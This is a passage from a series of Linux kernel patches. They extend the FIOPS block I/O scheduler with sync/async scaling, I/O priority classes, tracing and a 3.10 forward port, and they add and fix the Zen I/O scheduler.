+STORE_FUNCTION(fiops_read_scale_store, &fiopsd->read_scale, 1, 100); +STORE_FUNCTION(fiops_write_scale_store, &fiopsd->write_scale, 1, 100); +#undef STORE_FUNCTION + +#define FIOPS_ATTR(name) \ + __ATTR(name, S_IRUGO|S_IWUSR, fiops_##name##_show, fiops_##name##_store) + +static struct elv_fs_entry fiops_attrs[] = { + FIOPS_ATTR(read_scale), + FIOPS_ATTR(write_scale), + __ATTR_NULL +}; + static struct elevator_type iosched_fiops = { .ops = { .elevator_merge_fn = fiops_merge, @@ -534,6 +602,7 @@ static struct elevator_type iosched_fiops = { }, .icq_size = sizeof(struct fiops_ioc), .icq_align = __alignof__(struct fiops_ioc), + .elevator_attrs = fiops_attrs, .elevator_name = "fiops", .elevator_owner = THIS_MODULE, }; From 0602ce5ce98822812e2ffa7dba3429418896aad7 Mon Sep 17 00:00:00 2001 From: Shaohua Li Date: Sat, 15 Dec 2012 22:35:23 -0800 Subject: [PATCH 183/365] block: fiops sync/async scale CFQ gives 2.5 times more share to sync workload. This matches CFQ. Note this is different with the read/write scale. We have 3 types of requests: 1. read 2. sync write 3. write CFQ doesn't differentitate type 1 and 2, but request cost of 1 and 2 are usually different for flash based storage. So we have both sync/async and read/write scale here. Signed-off-by: Shaohua Li --- block/fiops-iosched.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/block/fiops-iosched.c b/block/fiops-iosched.c index bff327c11b23a..3c6c498f763a6 100644 --- a/block/fiops-iosched.c +++ b/block/fiops-iosched.c @@ -17,6 +17,8 @@ #define VIOS_READ_SCALE (1) #define VIOS_WRITE_SCALE (1) +#define VIOS_SYNC_SCALE (2) +#define VIOS_ASYNC_SCALE (5) struct fiops_rb_root { struct rb_root rb; @@ -39,6 +41,8 @@ struct fiops_data { unsigned int read_scale; unsigned int write_scale; + unsigned int sync_scale; + unsigned int async_scale; }; struct fiops_ioc { @@ -291,6 +295,9 @@ static u64 fiops_scaled_vios(struct fiops_data *fiopsd, if (rq_data_dir(rq) == WRITE) vios = vios * fiopsd->write_scale / fiopsd->read_scale; + if (!rq_is_sync(rq)) + vios = vios * fiopsd->async_scale / fiopsd->sync_scale; + return vios; } @@ -513,6 +520,8 @@ static void *fiops_init_queue(struct request_queue *q) fiopsd->read_scale = VIOS_READ_SCALE; fiopsd->write_scale = VIOS_WRITE_SCALE; + fiopsd->sync_scale = VIOS_SYNC_SCALE; + fiopsd->async_scale = VIOS_ASYNC_SCALE; return fiopsd; } @@ -557,6 +566,8 @@ static ssize_t __FUNC(struct elevator_queue *e, char *page) \ } SHOW_FUNCTION(fiops_read_scale_show, fiopsd->read_scale); SHOW_FUNCTION(fiops_write_scale_show, fiopsd->write_scale); +SHOW_FUNCTION(fiops_sync_scale_show, fiopsd->sync_scale); +SHOW_FUNCTION(fiops_async_scale_show, fiopsd->async_scale); #undef SHOW_FUNCTION #define STORE_FUNCTION(__FUNC, __PTR, MIN, MAX) \ @@ -574,6 +585,8 @@ static ssize_t __FUNC(struct elevator_queue *e, const char *page, size_t count) } STORE_FUNCTION(fiops_read_scale_store, &fiopsd->read_scale, 1, 100); STORE_FUNCTION(fiops_write_scale_store, &fiopsd->write_scale, 1, 100); +STORE_FUNCTION(fiops_sync_scale_store, &fiopsd->sync_scale, 1, 100); +STORE_FUNCTION(fiops_async_scale_store, &fiopsd->async_scale, 1, 100); #undef STORE_FUNCTION #define FIOPS_ATTR(name) \ @@ -582,6 +595,8 @@ STORE_FUNCTION(fiops_write_scale_store, &fiopsd->write_scale, 1, 100); static struct elv_fs_entry fiops_attrs[] = { FIOPS_ATTR(read_scale), FIOPS_ATTR(write_scale), + FIOPS_ATTR(sync_scale), + FIOPS_ATTR(async_scale), __ATTR_NULL }; From b9649227e6994834825fcb4798eb59947b670fb2 Mon Sep 17 00:00:00 2001 From: Shaohua Li Date: Sat, 15 Dec 2012 22:35:55 -0800 Subject: [PATCH 184/365] block: fiops add ioprio support Add CFQ-like ioprio support. Priority A will get 20% more share than priority A+1, which matches CFQ. Signed-off-by: Shaohua Li --- block/fiops-iosched.c | 105 +++++++++++++++++++++++++++++++++++++----- 1 file changed, 93 insertions(+), 12 deletions(-) diff --git a/block/fiops-iosched.c b/block/fiops-iosched.c index 3c6c498f763a6..d9ff3d94094f2 100644 --- a/block/fiops-iosched.c +++ b/block/fiops-iosched.c @@ -20,6 +20,8 @@ #define VIOS_SYNC_SCALE (2) #define VIOS_ASYNC_SCALE (5) +#define VIOS_PRIO_SCALE (5) + struct fiops_rb_root { struct rb_root rb; struct rb_node *left; @@ -29,10 +31,17 @@ struct fiops_rb_root { }; #define FIOPS_RB_ROOT (struct fiops_rb_root) { .rb = RB_ROOT} +enum wl_prio_t { + IDLE_WORKLOAD = 0, + BE_WORKLOAD = 1, + RT_WORKLOAD = 2, + FIOPS_PRIO_NR, +}; + struct fiops_data { struct request_queue *queue; - struct fiops_rb_root service_tree; + struct fiops_rb_root service_tree[FIOPS_PRIO_NR]; unsigned int busy_queues; unsigned int in_flight[2]; @@ -60,13 +69,16 @@ struct fiops_ioc { struct list_head fifo; pid_t pid; + unsigned short ioprio; + enum wl_prio_t wl_type; }; -#define ioc_service_tree(ioc) (&((ioc)->fiopsd->service_tree)) +#define ioc_service_tree(ioc) (&((ioc)->fiopsd->service_tree[(ioc)->wl_type])) #define RQ_CIC(rq) icq_to_cic((rq)->elv.icq) enum ioc_state_flags { FIOPS_IOC_FLAG_on_rr = 0, /* on round-robin busy list */ + FIOPS_IOC_FLAG_prio_changed, /* task priority has changed */ }; #define FIOPS_IOC_FNS(name) \ @@ -84,8 +96,18 @@ static inline int fiops_ioc_##name(const struct fiops_ioc *ioc) \ } FIOPS_IOC_FNS(on_rr); +FIOPS_IOC_FNS(prio_changed); #undef FIOPS_IOC_FNS +enum wl_prio_t fiops_wl_type(short prio_class) +{ + if (prio_class == IOPRIO_CLASS_RT) + return RT_WORKLOAD; + if (prio_class == IOPRIO_CLASS_BE) + return BE_WORKLOAD; + return IDLE_WORKLOAD; +} + static inline struct fiops_ioc *icq_to_cic(struct io_cq *icq) { /* cic->icq is the first member, %NULL will convert to %NULL */ @@ -298,6 +320,8 @@ static u64 fiops_scaled_vios(struct fiops_data *fiopsd, if (!rq_is_sync(rq)) vios = vios * fiopsd->async_scale / fiopsd->sync_scale; + vios += vios * (ioc->ioprio - IOPRIO_NORM) / VIOS_PRIO_SCALE; + return vios; } @@ -323,14 +347,19 @@ static int fiops_forced_dispatch(struct fiops_data *fiopsd) { struct fiops_ioc *ioc; int dispatched = 0; - - while ((ioc = fiops_rb_first(&fiopsd->service_tree)) != NULL) { - while (!list_empty(&ioc->fifo)) { - fiops_dispatch_request(fiopsd, ioc); - dispatched++; + int i; + + for (i = RT_WORKLOAD; i >= IDLE_WORKLOAD; i--) { + while (!RB_EMPTY_ROOT(&fiopsd->service_tree[i].rb)) { + ioc = fiops_rb_first(&fiopsd->service_tree[i]); + + while (!list_empty(&ioc->fifo)) { + fiops_dispatch_request(fiopsd, ioc); + dispatched++; + } + if (fiops_ioc_on_rr(ioc)) + fiops_del_ioc_rr(fiopsd, ioc); } - if (fiops_ioc_on_rr(ioc)) - fiops_del_ioc_rr(fiopsd, ioc); } return dispatched; } @@ -338,10 +367,20 @@ static int fiops_forced_dispatch(struct fiops_data *fiopsd) static struct fiops_ioc *fiops_select_ioc(struct fiops_data *fiopsd) { struct fiops_ioc *ioc; + struct fiops_rb_root *service_tree = NULL; + int i; + + for (i = RT_WORKLOAD; i >= IDLE_WORKLOAD; i--) { + if (!RB_EMPTY_ROOT(&fiopsd->service_tree[i].rb)) { + service_tree = &fiopsd->service_tree[i]; + break; + } + } - if (RB_EMPTY_ROOT(&fiopsd->service_tree.rb)) + if (!service_tree) return NULL; - ioc = fiops_rb_first(&fiopsd->service_tree); + + ioc = fiops_rb_first(service_tree); return ioc; } @@ -378,10 +417,49 @@ static int fiops_dispatch_requests(struct request_queue *q, int force) return 1; } +static void fiops_init_prio_data(struct fiops_ioc *cic) +{ + struct task_struct *tsk = current; + struct io_context *ioc = cic->icq.ioc; + int ioprio_class; + + if (!fiops_ioc_prio_changed(cic)) + return; + + ioprio_class = IOPRIO_PRIO_CLASS(ioc->ioprio); + switch (ioprio_class) { + default: + printk(KERN_ERR "fiops: bad prio %x\n", ioprio_class); + case IOPRIO_CLASS_NONE: + /* + * no prio set, inherit CPU scheduling settings + */ + cic->ioprio = task_nice_ioprio(tsk); + cic->wl_type = fiops_wl_type(task_nice_ioclass(tsk)); + break; + case IOPRIO_CLASS_RT: + cic->ioprio = task_ioprio(ioc); + cic->wl_type = fiops_wl_type(IOPRIO_CLASS_RT); + break; + case IOPRIO_CLASS_BE: + cic->ioprio = task_ioprio(ioc); + cic->wl_type = fiops_wl_type(IOPRIO_CLASS_BE); + break; + case IOPRIO_CLASS_IDLE: + cic->wl_type = fiops_wl_type(IOPRIO_CLASS_IDLE); + cic->ioprio = 7; + break; + } + + fiops_clear_ioc_prio_changed(cic); +} + static void fiops_insert_request(struct request_queue *q, struct request *rq) { struct fiops_ioc *ioc = RQ_CIC(rq); + fiops_init_prio_data(ioc); + list_add_tail(&rq->queuelist, &ioc->fifo); fiops_add_rq_rb(rq); @@ -507,6 +585,7 @@ static void fiops_kick_queue(struct work_struct *work) static void *fiops_init_queue(struct request_queue *q) { struct fiops_data *fiopsd; + int i; fiopsd = kzalloc_node(sizeof(*fiopsd), GFP_KERNEL, q->node); if (!fiopsd) @@ -514,7 +593,8 @@ static void *fiops_init_queue(struct request_queue *q) fiopsd->queue = q; - fiopsd->service_tree = FIOPS_RB_ROOT; + for (i = IDLE_WORKLOAD; i <= RT_WORKLOAD; i++) + fiopsd->service_tree[i] = FIOPS_RB_ROOT; INIT_WORK(&fiopsd->unplug_work, fiops_kick_queue); @@ -538,6 +618,7 @@ static void fiops_init_icq(struct io_cq *icq) ioc->fiopsd = fiopsd; ioc->pid = current->pid; + fiops_mark_ioc_prio_changed(ioc); } /* From 751457837b9a28adac2348b483fffa0a7291cfb2 Mon Sep 17 00:00:00 2001 From: Shaohua Li Date: Sat, 15 Dec 2012 22:36:37 -0800 Subject: [PATCH 185/365] block: fiops preserve vios key for deep queue depth workload If the task has running request, even it's added into service tree newly, we preserve its vios key, so it will not lost its share. This should work for task driving big queue depth. For single depth task, there is no approach to preserve its vios key. Signed-off-by: Shaohua Li --- block/fiops-iosched.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/block/fiops-iosched.c b/block/fiops-iosched.c index d9ff3d94094f2..84189f38588af 100644 --- a/block/fiops-iosched.c +++ b/block/fiops-iosched.c @@ -188,9 +188,12 @@ static void fiops_service_tree_add(struct fiops_data *fiopsd, int left; /* New added IOC */ - if (RB_EMPTY_NODE(&ioc->rb_node)) - vios = max_vios(service_tree->min_vios, ioc->vios); - else { + if (RB_EMPTY_NODE(&ioc->rb_node)) { + if (ioc->in_flight > 0) + vios = ioc->vios; + else + vios = max_vios(service_tree->min_vios, ioc->vios); + } else { vios = ioc->vios; /* ioc->service_tree might not equal to service_tree */ fiops_rb_erase(&ioc->rb_node, ioc->service_tree); From 3d1f6c866f3ebe92ead72efbfb9d2851ceda7b91 Mon Sep 17 00:00:00 2001 From: Shaohua Li Date: Sat, 15 Dec 2012 22:37:22 -0800 Subject: [PATCH 186/365] block: fiops bias sync workload If there are async requests running, delay async workload. Otherwise async workload (usually very deep iodepth) will use all queue iodepth and later sync requests will get long delayed. The idea is from CFQ. Signed-off-by: Shaohua Li --- block/fiops-iosched.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/block/fiops-iosched.c b/block/fiops-iosched.c index 84189f38588af..be54a9c70d734 100644 --- a/block/fiops-iosched.c +++ b/block/fiops-iosched.c @@ -372,6 +372,7 @@ static struct fiops_ioc *fiops_select_ioc(struct fiops_data *fiopsd) struct fiops_ioc *ioc; struct fiops_rb_root *service_tree = NULL; int i; + struct request *rq; for (i = RT_WORKLOAD; i >= IDLE_WORKLOAD; i--) { if (!RB_EMPTY_ROOT(&fiopsd->service_tree[i].rb)) { @@ -384,6 +385,17 @@ static struct fiops_ioc *fiops_select_ioc(struct fiops_data *fiopsd) return NULL; ioc = fiops_rb_first(service_tree); + + rq = rq_entry_fifo(ioc->fifo.next); + /* + * we are the only async task and sync requests are in flight, delay a + * moment. If there are other tasks coming, sync tasks have no chance + * to be starved, don't delay + */ + if (!rq_is_sync(rq) && fiopsd->in_flight[1] != 0 && + service_tree->count == 1) + return NULL; + return ioc; } From 28f8d64d689e9903830daef5a3f760a79096b453 Mon Sep 17 00:00:00 2001 From: Shaohua Li Date: Sat, 15 Dec 2012 22:38:11 -0800 Subject: [PATCH 187/365] block: fiops add some trace information Add some trace information, which is helpful when I do debugging. Signed-off-by: Shaohua Li --- block/fiops-iosched.c | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/block/fiops-iosched.c b/block/fiops-iosched.c index be54a9c70d734..671b1d33157d1 100644 --- a/block/fiops-iosched.c +++ b/block/fiops-iosched.c @@ -10,6 +10,7 @@ #include #include #include +#include #include "blk.h" #define VIOS_SCALE_SHIFT 10 @@ -99,6 +100,11 @@ FIOPS_IOC_FNS(on_rr); FIOPS_IOC_FNS(prio_changed); #undef FIOPS_IOC_FNS +#define fiops_log_ioc(fiopsd, ioc, fmt, args...) \ + blk_add_trace_msg((fiopsd)->queue, "ioc%d " fmt, (ioc)->pid, ##args) +#define fiops_log(fiopsd, fmt, args...) \ + blk_add_trace_msg((fiopsd)->queue, "fiops " fmt, ##args) + enum wl_prio_t fiops_wl_type(short prio_class) { if (prio_class == IOPRIO_CLASS_RT) @@ -200,6 +206,8 @@ static void fiops_service_tree_add(struct fiops_data *fiopsd, ioc->service_tree = NULL; } + fiops_log_ioc(fiopsd, ioc, "service tree add, vios %lld", vios); + left = 1; parent = NULL; ioc->service_tree = service_tree; @@ -393,8 +401,12 @@ static struct fiops_ioc *fiops_select_ioc(struct fiops_data *fiopsd) * to be starved, don't delay */ if (!rq_is_sync(rq) && fiopsd->in_flight[1] != 0 && - service_tree->count == 1) + service_tree->count == 1) { + fiops_log_ioc(fiopsd, ioc, + "postpone async, in_flight async %d sync %d", + fiopsd->in_flight[0], fiopsd->in_flight[1]); return NULL; + } return ioc; } @@ -405,6 +417,8 @@ static void fiops_charge_vios(struct fiops_data *fiopsd, struct fiops_rb_root *service_tree = ioc->service_tree; ioc->vios += vios; + fiops_log_ioc(fiopsd, ioc, "charge vios %lld, new vios %lld", vios, ioc->vios); + if (RB_EMPTY_ROOT(&ioc->sort_list)) fiops_del_ioc_rr(fiopsd, ioc); else @@ -498,6 +512,9 @@ static void fiops_completed_request(struct request_queue *q, struct request *rq) fiopsd->in_flight[rq_is_sync(rq)]--; ioc->in_flight--; + fiops_log_ioc(fiopsd, ioc, "in_flight %d, busy queues %d", + ioc->in_flight, fiopsd->busy_queues); + if (fiopsd->in_flight[0] + fiopsd->in_flight[1] == 0) fiops_schedule_dispatch(fiopsd); } From 76e4e256888fadc70cd2eb3ab8c55013a8275c8d Mon Sep 17 00:00:00 2001 From: Paul Reioux Date: Sun, 23 Nov 2014 13:12:06 -0600 Subject: [PATCH 188/365] FIOPS: forward port for use on 3.10 Linux Signed-off-by: Paul Reioux --- block/fiops-iosched.c | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/block/fiops-iosched.c b/block/fiops-iosched.c index 671b1d33157d1..7a3f6655040fd 100644 --- a/block/fiops-iosched.c +++ b/block/fiops-iosched.c @@ -467,11 +467,11 @@ static void fiops_init_prio_data(struct fiops_ioc *cic) cic->wl_type = fiops_wl_type(task_nice_ioclass(tsk)); break; case IOPRIO_CLASS_RT: - cic->ioprio = task_ioprio(ioc); + cic->ioprio = IOPRIO_PRIO_DATA(ioc->ioprio); cic->wl_type = fiops_wl_type(IOPRIO_CLASS_RT); break; case IOPRIO_CLASS_BE: - cic->ioprio = task_ioprio(ioc); + cic->ioprio = IOPRIO_PRIO_DATA(ioc->ioprio); cic->wl_type = fiops_wl_type(IOPRIO_CLASS_BE); break; case IOPRIO_CLASS_IDLE: @@ -614,16 +614,27 @@ static void fiops_kick_queue(struct work_struct *work) spin_unlock_irq(q->queue_lock); } -static void *fiops_init_queue(struct request_queue *q) +static int fiops_init_queue(struct request_queue *q, struct elevator_type *e) { struct fiops_data *fiopsd; int i; + struct elevator_queue *eq; + + eq = elevator_alloc(q, e); + if (!eq) + return -ENOMEM; fiopsd = kzalloc_node(sizeof(*fiopsd), GFP_KERNEL, q->node); - if (!fiopsd) - return NULL; + if (!fiopsd) { + kobject_put(&eq->kobj); + return -ENOMEM; + } + eq->elevator_data = fiopsd; fiopsd->queue = q; + spin_lock_irq(q->queue_lock); + q->elevator = eq; + spin_unlock_irq(q->queue_lock); for (i = IDLE_WORKLOAD; i <= RT_WORKLOAD; i++) fiopsd->service_tree[i] = FIOPS_RB_ROOT; @@ -635,7 +646,7 @@ static void *fiops_init_queue(struct request_queue *q) fiopsd->sync_scale = VIOS_SYNC_SCALE; fiopsd->async_scale = VIOS_ASYNC_SCALE; - return fiopsd; + return 0; } static void fiops_init_icq(struct io_cq *icq) From 211c23c938d91ab1f669c4e68f0fac049a87f3c9 Mon Sep 17 00:00:00 2001 From: ripng Date: Thu, 12 Mar 2015 13:51:52 -0400 Subject: [PATCH 189/365] block: add zen scheduler --- block/Kconfig.iosched | 12 ++ block/Makefile | 1 + block/zen-iosched.c | 280 ++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 293 insertions(+) create mode 100644 block/zen-iosched.c diff --git a/block/Kconfig.iosched b/block/Kconfig.iosched index dde0e87e80a20..324c935deaf20 100644 --- a/block/Kconfig.iosched +++ b/block/Kconfig.iosched @@ -53,6 +53,13 @@ config IOSCHED_SIO basic merging, trying to keep a minimum overhead. It is aimed mainly for aleatory access devices (eg: flash devices). +config IOSCHED_ZEN + tristate "Zen I/O scheduler" + default y + ---help--- + FCFS, dispatches are back-inserted, deadlines ensure fairness. + Should work best with devices where there is no travel delay. + config IOSCHED_CFQ tristate "CFQ I/O scheduler" default y @@ -154,6 +161,11 @@ config DEFAULT_IOSCHED default "fiops" if DEFAULT_FIOPS default "bfq" if DEFAULT_BFQ default "noop" if DEFAULT_NOOP + default "sio" if DEFAULT_SIO + default "fifo" if DEFAULT_FIFO + default "zen" if DEFAULT_ZEN + default "fiops" if DEFAULT_FIOPS + default "vr" if DEFAULT_VR endmenu diff --git a/block/Makefile b/block/Makefile index cc298fb1bea7a..a9dc188e938a9 100644 --- a/block/Makefile +++ b/block/Makefile @@ -20,6 +20,7 @@ obj-$(CONFIG_IOSCHED_CFQ) += cfq-iosched.o obj-$(CONFIG_IOSCHED_BFQ) += bfq-iosched.o obj-$(CONFIG_IOSCHED_FIOPS) += fiops-iosched.o obj-$(CONFIG_IOSCHED_TEST) += test-iosched.o +obj-$(CONFIG_IOSCHED_ZEN) += zen-iosched.o obj-$(CONFIG_BLOCK_COMPAT) += compat_ioctl.o obj-$(CONFIG_BLK_DEV_INTEGRITY) += blk-integrity.o diff --git a/block/zen-iosched.c b/block/zen-iosched.c new file mode 100644 index 0000000000000..af2537bfd7b23 --- /dev/null +++ b/block/zen-iosched.c @@ -0,0 +1,280 @@ +/* + * Zen IO scheduler + * Primarily based on Noop, deadline, and SIO IO schedulers. + * + * Copyright (C) 2012 Brandon Berhent + * + * FCFS, dispatches are back-inserted, deadlines ensure fairness. + * Should work best with devices where there is no travel delay. + */ +#include +#include +#include +#include +#include +#include + +enum zen_data_dir { ASYNC, SYNC }; + +static const int sync_expire = HZ / 4; /* max time before a sync is submitted. */ +static const int async_expire = 2 * HZ; /* ditto for async, these limits are SOFT! */ +static const int fifo_batch = 1; + +struct zen_data { + /* Runtime Data */ + /* Requests are only present on fifo_list */ + struct list_head fifo_list[2]; + + unsigned int batching; /* number of sequential requests made */ + + /* tunables */ + int fifo_expire[2]; + int fifo_batch; +}; + +static inline struct zen_data * +zen_get_data(struct request_queue *q) { + return q->elevator->elevator_data; +} + +static void zen_dispatch(struct zen_data *, struct request *); + +static void +zen_merged_requests(struct request_queue *q, struct request *rq, + struct request *next) +{ + /* + * if next expires before rq, assign its expire time to arq + * and move into next position (next will be deleted) in fifo + */ + if (!list_empty(&rq->queuelist) && !list_empty(&next->queuelist)) { + if (time_before(rq_fifo_time(next), rq_fifo_time(rq))) { + list_move(&rq->queuelist, &next->queuelist); + rq_set_fifo_time(rq, rq_fifo_time(next)); + } + } + + /* next request is gone */ + rq_fifo_clear(next); +} + +static void zen_add_request(struct request_queue *q, struct request *rq) +{ + struct zen_data *zdata = zen_get_data(q); + const int dir = rq_data_dir(rq); + + if (zdata->fifo_expire[dir]) { + rq_set_fifo_time(rq, jiffies + zdata->fifo_expire[dir]); + list_add_tail(&rq->queuelist, &zdata->fifo_list[dir]); + } +} + +static void zen_dispatch(struct zen_data *zdata, struct request *rq) +{ + /* Remove request from list and dispatch it */ + rq_fifo_clear(rq); + elv_dispatch_add_tail(rq->q, rq); + + /* Increment # of sequential requests */ + zdata->batching++; +} + +/* + * get the first expired request in direction ddir + */ +static struct request * +zen_expired_request(struct zen_data *zdata, int ddir) +{ + struct request *rq; + + if (list_empty(&zdata->fifo_list[ddir])) + return NULL; + + rq = rq_entry_fifo(zdata->fifo_list[ddir].next); + if (time_after(jiffies, rq_fifo_time(rq))) + return rq; + + return NULL; +} + +/* + * zen_check_fifo returns 0 if there are no expired requests on the fifo, + * otherwise it returns the next expired request + */ +static struct request * +zen_check_fifo(struct zen_data *zdata) +{ + struct request *rq_sync = zen_expired_request(zdata, SYNC); + struct request *rq_async = zen_expired_request(zdata, ASYNC); + + if (rq_async && rq_sync) { + if (time_after(rq_fifo_time(rq_async), rq_fifo_time(rq_sync))) + return rq_sync; + } else if (rq_sync) { + return rq_sync; + } else if (rq_async) { + return rq_async; + } + + return 0; +} + +static struct request * +zen_choose_request(struct zen_data *zdata) +{ + /* + * Retrieve request from available fifo list. + * Synchronous requests have priority over asynchronous. + */ + if (!list_empty(&zdata->fifo_list[SYNC])) + return rq_entry_fifo(zdata->fifo_list[SYNC].next); + if (!list_empty(&zdata->fifo_list[ASYNC])) + return rq_entry_fifo(zdata->fifo_list[ASYNC].next); + + return NULL; +} + +static int zen_dispatch_requests(struct request_queue *q, int force) +{ + struct zen_data *zdata = zen_get_data(q); + struct request *rq = NULL; + + /* Check for and issue expired requests */ + if (zdata->batching > zdata->fifo_batch) { + zdata->batching = 0; + rq = zen_check_fifo(zdata); + } + + if (!rq) { + rq = zen_choose_request(zdata); + if (!rq) + return 0; + } + + zen_dispatch(zdata, rq); + + return 1; +} + +static void *zen_init_queue(struct request_queue *q) +{ + struct zen_data *zdata; + + zdata = kmalloc_node(sizeof(*zdata), GFP_KERNEL, q->node); + if (!zdata) + return NULL; + INIT_LIST_HEAD(&zdata->fifo_list[SYNC]); + INIT_LIST_HEAD(&zdata->fifo_list[ASYNC]); + + zdata->fifo_expire[SYNC] = sync_expire; + zdata->fifo_expire[ASYNC] = async_expire; + zdata->fifo_batch = fifo_batch; + + return zdata; +} + +static void zen_exit_queue(struct elevator_queue *e) +{ + struct zen_data *zdata = e->elevator_data; + + BUG_ON(!list_empty(&zdata->fifo_list[SYNC])); + BUG_ON(!list_empty(&zdata->fifo_list[ASYNC])); + kfree(zdata); +} + +/* Sysfs */ +static ssize_t +zen_var_show(int var, char *page) +{ + return sprintf(page, "%d\n", var); +} + +static ssize_t +zen_var_store(int *var, const char *page, size_t count) +{ + *var = simple_strtol(page, NULL, 10); + return count; +} + +#define SHOW_FUNCTION(__FUNC, __VAR, __CONV) \ +static ssize_t __FUNC(struct elevator_queue *e, char *page) \ +{ \ + struct zen_data *zdata = e->elevator_data; \ + int __data = __VAR; \ + if (__CONV) \ + __data = jiffies_to_msecs(__data); \ + return zen_var_show(__data, (page)); \ +} +SHOW_FUNCTION(zen_sync_expire_show, zdata->fifo_expire[SYNC], 1); +SHOW_FUNCTION(zen_async_expire_show, zdata->fifo_expire[ASYNC], 1); +SHOW_FUNCTION(zen_fifo_batch_show, zdata->fifo_batch, 0); +#undef SHOW_FUNCTION + +#define STORE_FUNCTION(__FUNC, __PTR, MIN, MAX, __CONV, NDX) \ +static ssize_t __FUNC(struct elevator_queue *e, const char *page, size_t count) \ +{ \ + struct zen_data *zdata = e->elevator_data; \ + int __data; \ + int ret = zen_var_store(&__data, (page), count); \ + if (__data < (MIN)) \ + __data = (MIN); \ + else if (__data > (MAX)) \ + __data = (MAX); \ + if (__CONV) \ + *(__PTR) = msecs_to_jiffies(__data); \ + else \ + *(__PTR) = __data; \ + return ret; \ +} +STORE_FUNCTION(zen_sync_expire_store, &zdata->fifo_expire[SYNC], 0, INT_MAX, 1, 0); +STORE_FUNCTION(zen_async_expire_store, &zdata->fifo_expire[ASYNC], 0, INT_MAX, 1, 1); +STORE_FUNCTION(zen_fifo_batch_store, &zdata->fifo_batch, 0, INT_MAX, 0, 2); +#undef STORE_FUNCTION + +#define DD_ATTR(name) \ + __ATTR(name, S_IRUGO|S_IWUSR, zen_##name##_show, \ + zen_##name##_store) + +static struct elv_fs_entry zen_attrs[] = { + DD_ATTR(sync_expire), + DD_ATTR(async_expire), + DD_ATTR(fifo_batch), + __ATTR_NULL +}; + +static struct elevator_type iosched_zen = { + .ops = { + .elevator_merge_req_fn = zen_merged_requests, + .elevator_dispatch_fn = zen_dispatch_requests, + .elevator_add_req_fn = zen_add_request, + .elevator_former_req_fn = elv_rb_former_request, + .elevator_latter_req_fn = elv_rb_latter_request, + .elevator_init_fn = zen_init_queue, + .elevator_exit_fn = zen_exit_queue, + }, + .elevator_attrs = zen_attrs, + .elevator_name = "zen", + .elevator_owner = THIS_MODULE, +}; + +static int __init zen_init(void) +{ + elv_register(&iosched_zen); + + return 0; +} + +static void __exit zen_exit(void) +{ + elv_unregister(&iosched_zen); +} + +module_init(zen_init); +module_exit(zen_exit); + + +MODULE_AUTHOR("Brandon Berhent"); +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("Zen IO scheduler"); +MODULE_VERSION("1.0"); + From 769a02080918c7dad81a4bd826450f523213d470 Mon Sep 17 00:00:00 2001 From: ripng Date: Thu, 12 Mar 2015 13:52:37 -0400 Subject: [PATCH 190/365] block: zen crashing on selection fixup Signed-off by: Matthew Alex --- block/zen-iosched.c | 40 +++++++++++++++++++++++++--------------- 1 file changed, 25 insertions(+), 15 deletions(-) diff --git a/block/zen-iosched.c b/block/zen-iosched.c index af2537bfd7b23..24a384db5f45d 100644 --- a/block/zen-iosched.c +++ b/block/zen-iosched.c @@ -3,7 +3,8 @@ * Primarily based on Noop, deadline, and SIO IO schedulers. * * Copyright (C) 2012 Brandon Berhent - * + * (C) 2014 LoungeKatt + * 2015 Fixes to stop crashing on 3.10 by Matthew Alex * FCFS, dispatches are back-inserted, deadlines ensure fairness. * Should work best with devices where there is no travel delay. */ @@ -156,21 +157,33 @@ static int zen_dispatch_requests(struct request_queue *q, int force) return 1; } -static void *zen_init_queue(struct request_queue *q) +static int zen_init_queue(struct request_queue *q, struct elevator_type *e) { struct zen_data *zdata; + struct elevator_queue *eq; + + eq = elevator_alloc(q, e); + if (!eq) + return -ENOMEM; zdata = kmalloc_node(sizeof(*zdata), GFP_KERNEL, q->node); - if (!zdata) - return NULL; + if (!zdata) { + kobject_put(&eq->kobj); + return -ENOMEM; + } + eq->elevator_data = zdata; + + + spin_lock_irq(q->queue_lock); + q->elevator = eq; + spin_unlock_irq(q->queue_lock); + INIT_LIST_HEAD(&zdata->fifo_list[SYNC]); INIT_LIST_HEAD(&zdata->fifo_list[ASYNC]); - zdata->fifo_expire[SYNC] = sync_expire; zdata->fifo_expire[ASYNC] = async_expire; zdata->fifo_batch = fifo_batch; - - return zdata; + return 0; } static void zen_exit_queue(struct elevator_queue *e) @@ -210,7 +223,7 @@ SHOW_FUNCTION(zen_async_expire_show, zdata->fifo_expire[ASYNC], 1); SHOW_FUNCTION(zen_fifo_batch_show, zdata->fifo_batch, 0); #undef SHOW_FUNCTION -#define STORE_FUNCTION(__FUNC, __PTR, MIN, MAX, __CONV, NDX) \ +#define STORE_FUNCTION(__FUNC, __PTR, MIN, MAX, __CONV) \ static ssize_t __FUNC(struct elevator_queue *e, const char *page, size_t count) \ { \ struct zen_data *zdata = e->elevator_data; \ @@ -226,9 +239,9 @@ static ssize_t __FUNC(struct elevator_queue *e, const char *page, size_t count) *(__PTR) = __data; \ return ret; \ } -STORE_FUNCTION(zen_sync_expire_store, &zdata->fifo_expire[SYNC], 0, INT_MAX, 1, 0); -STORE_FUNCTION(zen_async_expire_store, &zdata->fifo_expire[ASYNC], 0, INT_MAX, 1, 1); -STORE_FUNCTION(zen_fifo_batch_store, &zdata->fifo_batch, 0, INT_MAX, 0, 2); +STORE_FUNCTION(zen_sync_expire_store, &zdata->fifo_expire[SYNC], 0, INT_MAX, 1); +STORE_FUNCTION(zen_async_expire_store, &zdata->fifo_expire[ASYNC], 0, INT_MAX, 1); +STORE_FUNCTION(zen_fifo_batch_store, &zdata->fifo_batch, 0, INT_MAX, 0); #undef STORE_FUNCTION #define DD_ATTR(name) \ @@ -259,9 +272,7 @@ static struct elevator_type iosched_zen = { static int __init zen_init(void) { - elv_register(&iosched_zen); - - return 0; + return elv_register(&iosched_zen); } static void __exit zen_exit(void) @@ -277,4 +288,3 @@ MODULE_AUTHOR("Brandon Berhent"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Zen IO scheduler"); MODULE_VERSION("1.0"); - From 702c59baacdf6f5d5e81133b9f051ced8a459f4e Mon Sep 17 00:00:00 